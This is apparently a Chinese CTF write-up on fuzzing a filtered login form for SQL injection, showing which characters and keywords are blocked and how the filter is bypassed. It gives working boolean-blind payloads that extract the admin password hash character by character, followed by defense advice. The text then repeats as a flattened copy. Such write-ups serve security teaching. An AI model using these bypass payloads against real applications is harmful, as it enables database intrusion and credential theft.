SQL注入常规Fuzz全记录
字数 1306 2025-08-18 11:37:46

SQL注入Fuzz技术全解析

一、前言

本文详细解析SQL注入Fuzz技术的完整流程,基于CTF实战案例,涵盖从基础探测到高级绕过的全过程。适用于安全研究人员、渗透测试工程师及CTF选手。

二、基础探测

1. 目标识别

  • 典型登录框场景
  • 输入admin/123456返回"密码错误",确认admin用户存在
  • 确定为SQL注入挑战,非暴力破解

2. 初步注入测试

  • 使用Burp插件进行初步扫描
  • 确认存在盲注漏洞
  • 基本payload形式:admin'[注入点]'

三、Fuzz技术详解

1. 注释符Fuzz

  • 测试结果:
    • --+ 被过滤
    • # 被过滤
  • 判断方法:响应包长度变化(370字节表示被拦截)

2. 特殊字符Fuzz

  • 过滤字符清单:
    • 空格
    • %0a (换行符)
    • %0b (垂直制表符)
    • %0d (回车符)
    • %a0 (非断空格)
    • 逗号(,)
    • 内联注释(/*!*/)

3. 关键字Fuzz

  • 被过滤关键字:
    • and
    • or
    • order
    • union
    • for
  • 影响:无法使用mid(xx from xx for xx)语法

4. 函数名Fuzz

  • 过滤规则:仅拦截包含or/and等关键字的函数
  • 可用函数:
    • sleep()
    • mid()
    • ascii()
    • length()
  • 关键限制:information_schema因含or被过滤

四、绕过技术实战

1. 时间盲注尝试

  • 原始payload:if(1=1,sleep(5),0)
  • 绕过方案:
    CASE WHEN (1=1) THEN (sleep(5)) ELSE (2) END
    
  • 空格替代方案:
    • 使用括号代替空格
    • 测试%00%ff所有字符替代空格均失败
  • 结论:时间盲注不可行

2. 布尔盲注实现

  • 利用MySQL类型转换特性:
    select 'admin'='admin'+0  // 返回1
    select 'admin'='admin'+1  // 返回0
    
  • 实战payload:
    • admin'+1+' → 返回false(用户名错误)
    • admin'+0+' → 返回true(密码错误)

3. 数据提取技术

  • 绕过逗号限制:
    • 使用mid(xxx from 1)替代mid(xxx,1,1)
    • 使用ascii(mid(xxx from 1))获取首字符ASCII
  • 替代方案:
    ascii(mid(REVERSE(MID((passwd)from(-1)))from(-1)))
    

五、完整攻击流程

1. 密码长度探测

  • Payload:
    admin'-(length(passwd)=48)-'
    
  • 结果:确认密码长度为32位

2. 逐字符提取

  • 首字符提取:
    admin'-(ascii(mid(passwd)from(1))=48)-'
    
  • 逆向提取技术:
    admin'-(ascii(mid(REVERSE(MID((passwd)from(-1)))from(-1)))=48)-'
    
  • 结果:获取32位MD5哈希005b81fd960f61505237dbb7a3202910,解密得admin123

六、技术总结

1. Fuzz要点

  • 字典来源:
    • sqlmap字典
    • MySQL官方手册
  • Fuzz三要素:
    1. 判断标准(响应变化)
    2. 测试位置(注入点)
    3. Payload构造技巧

2. 高级技巧

  • 类型转换利用
  • 函数参数重构
  • 逆向数据提取
  • 无逗号表达式构造

3. 防御建议

  • 过滤策略:
    • 统一字符编码处理
    • 上下文感知过滤
    • 语义分析而非简单关键字过滤
  • 加固措施:
    • 预编译语句
    • 最小权限原则
    • 输入输出编码

七、扩展资源

  1. MySQL官方文档:类型转换规则
  2. sqlmap tamper脚本分析
  3. OWASP SQL注入防御指南
  4. 高级WAF绕过技术研究

通过本案例可掌握SQL注入Fuzz的核心方法论,适用于各类复杂过滤场景的渗透测试。

SQL注入Fuzz技术全解析 一、前言 本文详细解析SQL注入Fuzz技术的完整流程,基于CTF实战案例,涵盖从基础探测到高级绕过的全过程。适用于安全研究人员、渗透测试工程师及CTF选手。 二、基础探测 1. 目标识别 典型登录框场景 输入admin/123456返回"密码错误",确认admin用户存在 确定为SQL注入挑战,非暴力破解 2. 初步注入测试 使用Burp插件进行初步扫描 确认存在盲注漏洞 基本payload形式: admin'[注入点]' 三、Fuzz技术详解 1. 注释符Fuzz 测试结果: --+ 被过滤 # 被过滤 判断方法:响应包长度变化(370字节表示被拦截) 2. 特殊字符Fuzz 过滤字符清单: 空格 %0a (换行符) %0b (垂直制表符) %0d (回车符) %a0 (非断空格) 逗号( , ) 内联注释( /*!*/ ) 3. 关键字Fuzz 被过滤关键字: and or order union for 影响:无法使用 mid(xx from xx for xx) 语法 4. 函数名Fuzz 过滤规则:仅拦截包含 or / and 等关键字的函数 可用函数: sleep() mid() ascii() length() 关键限制: information_schema 因含 or 被过滤 四、绕过技术实战 1. 时间盲注尝试 原始payload: if(1=1,sleep(5),0) 绕过方案: 空格替代方案: 使用括号代替空格 测试 %00 到 %ff 所有字符替代空格均失败 结论:时间盲注不可行 2. 布尔盲注实现 利用MySQL类型转换特性: 实战payload: admin'+1+' → 返回false(用户名错误) admin'+0+' → 返回true(密码错误) 3. 数据提取技术 绕过逗号限制: 使用 mid(xxx from 1) 替代 mid(xxx,1,1) 使用 ascii(mid(xxx from 1)) 获取首字符ASCII 替代方案: 五、完整攻击流程 1. 密码长度探测 Payload: 结果:确认密码长度为32位 2. 逐字符提取 首字符提取: 逆向提取技术: 结果:获取32位MD5哈希 005b81fd960f61505237dbb7a3202910 ,解密得 admin123 六、技术总结 1. Fuzz要点 字典来源: sqlmap字典 MySQL官方手册 Fuzz三要素: 判断标准(响应变化) 测试位置(注入点) Payload构造技巧 2. 高级技巧 类型转换利用 函数参数重构 逆向数据提取 无逗号表达式构造 3. 防御建议 过滤策略: 统一字符编码处理 上下文感知过滤 语义分析而非简单关键字过滤 加固措施: 预编译语句 最小权限原则 输入输出编码 七、扩展资源 MySQL官方文档:类型转换规则 sqlmap tamper脚本分析 OWASP SQL注入防御指南 高级WAF绕过技术研究 通过本案例可掌握SQL注入Fuzz的核心方法论,适用于各类复杂过滤场景的渗透测试。